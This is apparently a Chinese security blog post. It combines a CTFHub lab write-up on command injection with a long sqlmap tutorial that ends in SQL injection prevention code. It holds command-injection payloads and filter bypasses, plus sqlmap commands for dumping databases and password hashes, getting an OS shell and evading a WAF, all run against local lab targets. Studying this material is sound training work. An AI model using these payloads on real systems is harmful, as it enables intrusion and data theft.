/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号，没有获取到想要的结果，因为&&在前一个命令没有执行结束的时候，是不会执行后面的命令的。当然还有种思路就是指定次数，使用-c参数，这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果，通过将ping命令放到后台执行，后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了，没有flag不断执行命令，找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目：过滤了cat命令之后，你还有什么方法能读到 Flag?查看目录，他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作，它会按行读取文件内容，但会以相反的顺序输出。这意味着文件的最后一行将首先显示，而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似，也是用于分页显示文本文件的内容，但less提供了更多的导航选项，如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分，默认显示前10行，但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分，默认显示最后10行，与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似，用于显示文件内容并在每行前加上行号，但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具，虽然它主要用于模式扫描和处理语言，但在某些情况下，可以使用awk命令以类似于cat的方式显示文件内容，同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容，用户可以通过按空格键翻页，按b键回退，按q键退出。虽然它主要用于分页查看，但在逐页查看文件内容时，与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码，使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload：127.0.0.1&ls<>/var/www/html/经过测试，上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目：这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗？直接使用ls查看目录，没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可，一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目：过滤了几个运算符, 要怎么绕过呢？分析源码，过滤了运算符，但是也没完全过滤，少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细我的《护网奇遇记》
1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透
喜欢长文吗？1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透前言在信息安全领域，SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理，通过注入恶意SQL代码，从而绕过安全措施，非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻，了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具，凭借其强大的功能和易用性，成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞，还能进一步枚举数据库信息、提取数据，甚至执行操作系统命令，为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法，帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧，我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时，通过实例演示和技巧分享，帮助读者在实际操作中灵活运用sqlmap，提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术，但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型： 二次注入（Second-Order SQL Injection）：二次注入发生在应用程序首先接收并存储了恶意输入，然后在稍后的时间点（通常是在另一个请求中）这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询，因此sqlmap可能难以直接检测到这种注入类型，除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入：这种注入类型发生在客户端JavaScript代码中，而不是服务器端。sqlmap主要关注服务器端的安全漏洞，因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过：某些Web应用防火墙（WAF）或入侵防御系统（IPS）可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时，sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下，可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入：虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞，但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理，这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制：在某些情况下，由于数据库配置或网络延迟等原因，盲注（基于布尔、时间或错误消息的盲注）可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息，那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言：虽然sqlmap支持多种数据库系统，但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言，那么可能会影响到sqlmap的检测能力。 在开始之前先上表（方便以后查表），或者截图保存好，基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别：0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别：0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值："sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用，高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url，需要确认就按y。扫描完一个，就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数，可以在所有需要用户输入的部分（通常是询问执行yes还是no，Y/N），执行默认操作，即选项大写的那个，不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时，可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多，很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号（这里不知道为什么显示为False，前面使用privileges明明root权限最多）sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」，单/双引号包裹，常配合其他参数使用。-T 指定目标「表」，单/双引号包裹，常配合其他参数使用。-C 指定目标「字段」，单/双引号包裹，常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型，可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目（当前数据库/表/列中的所有内容）--dump-all 转储所有DBMS数据库表条目（爆出整个mysql数据库的数据内容）--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入，要求使用burp suite抓包，将这个包中的信息，保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息，模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容，会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段，需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项，选项一表示根据关键字模糊搜索，选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库，-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件，该文件保存了本次测试的结果信息。当我们再次测试该目标URL时，会自动加载上一次的结果就比如我们已经绕过了某个WAF，并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本，使用普通的一个payload，这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试，包含WAF的测试过程就需要使用清除缓存--flush-session，一切正常--technique 使用方法：sqlmap -u URL --technique 注入类型选项（可多种组合） 使用--flush-session参数可用于指定要测试的SQL注入类型，默认情况下，sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型，可以使用--technique指定。sqlmap针对每一种类型，提供了字母选项，可以组合字母选项来指定多种注入类型进行测试。备注：注入类型对应的参数 B：基于布尔的盲注 E：基于错误 U：基于联合查询 S：堆叠查询 T：基于时间的盲注 Q：内联查询 使用示例：sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候，默认是sqlmap的请求头，很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法：sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求，如下：sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法：sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟，并根据提示选择模拟的手机类型--level 使用方法：Python sqlmap.py -u URL --level 等级 使用--level参数可指定payload测试复杂等级。共有五个级别，从1-5，默认值为1。等级越高，测试的payload越复杂，当使用默认等级注入不出来时，可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL，登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini，添加如下内容，然后重启mysql重启之后这里我们假设已经知道了网站的目录为：E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令，执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了，直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境，payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf，貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用，将脚本传入到这个路径bypassDog2.py（攻击脚本具有危害性，作者不予提供，以下仅供参考，也可以使用kali自带的sqlmap攻击脚本进行测试）/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然，如果网站使用了ip封禁机制，可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询（Prepared Statements）参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开，可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例（Python 使用 psycopg2 连接 PostgreSQL）：import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例（PHP 使用 PDO）：<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * 